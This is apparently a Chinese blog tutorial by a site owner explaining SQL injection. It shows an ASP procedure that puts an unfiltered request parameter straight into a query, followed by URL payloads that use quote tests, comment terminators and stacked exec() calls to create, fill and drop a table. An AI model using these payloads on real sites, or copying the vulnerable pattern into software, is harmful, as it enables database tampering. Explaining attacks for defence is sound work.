前几个星期,我写的一个网站又被人给sql注入了,这是第N次发生了,看着满目疮痍的网站,杀人的心都有。于是熬了一个夜,将所有带'号的写入都给抓下来了过了一个星期,终于抓到代码了。经过一番研究,终于搞明白了
也曾经看过好多这方面的文章,但是一直都没有真正搞明白,主要原因是作者没有写的详细,鉴于此,我决定写一个很详细的注入解析
下边是一个常见的显示log表第一列与第三列的过程
<%
call showLog()
Sub showLog()
dim sql,rs,fn
fn = request("fn")
'注意,这里没有过滤'
if fn = "" then
sql = "select top 10 * from log"
else
sql = "select top 10 * from log where sysFunName='"&fn&"'"
end if
set rs = server.createObject("ADODB.RecordSet")
rs.open sql,conn,1,1
if rs.eof or rs.bof then
else
do until rs.eof
response.write (rs(0)&","&rs(2)&"<br>")
rs.movenext
loop
end if
End Sub
%>
这里暂且以字符型为例,int暂不考虑http://www.*.com/index.asp?id=1
1、在网页上这么调用,正常调用
http://www.*.com/index.asp?fn=登录日志
实际代码将这么执行
select top 10 * from log where sysFunName='登陆日志'
2、此时,如果在地址栏这么输入,测试'
http://www.*.com/index.asp?fn=登录日志'
实际代码将这么执行
select top 10 * from log where sysFunName='登陆日志''
这个语句是错误的,不会执行,此时网页上可能什么都没有提示,重申一下,此时'没有被屏蔽。
工具-->Intenet选项-->高级-->显示友好HTTP错误信息,取消这前边的勾,错误信息就会显示出来,这个不一定,我试过,有时行,有时不行
3、此时,如果在地址栏这么输入,测试'--
http://www.*.com/index.asp?fn=登录日志'--
实际代码将这么执行
select top 10 * from log where sysFunName='登陆日志'--'
这样的话,就不会出错了
4、如果在地址栏这么输入--建立表格
http://www.*.com/index.asp?fn=登录日志';exec('Create table Test(Id int,Username varchar(255),Password varchar(255),Privs int)')--
实际代码将这么执行
select top 10 * from log where sysFunName='登陆日志';exec('Create table Test(ID int,Username varchar(255),Password varchar(255),Privs int)')--
这样,就在数据库中建立了一个表Test
5、如果在地址栏这么输入--加入数据
http://www.*.com/index.asp?fn=登录日志';exec('insert Test (ID,Privs) values(1,1)')--
实际代码将这么执行
select top 10 * from log where sysFunName='登陆日志';exec('Insert Test(ID,Privs) values(1,1)')--
这样,就在数据库中添加了一条数据
6、如果在地址栏这么输入--删除表格
http://www.*.com/index.asp?fn=登录日志';exec('drop table Test')--
实际代码将这么执行
select top 10 * from log where sysFunName='登陆日志';exec('drop table Test')--
这样,就在数据库中删除表Test
下一节将讲解如何注入字符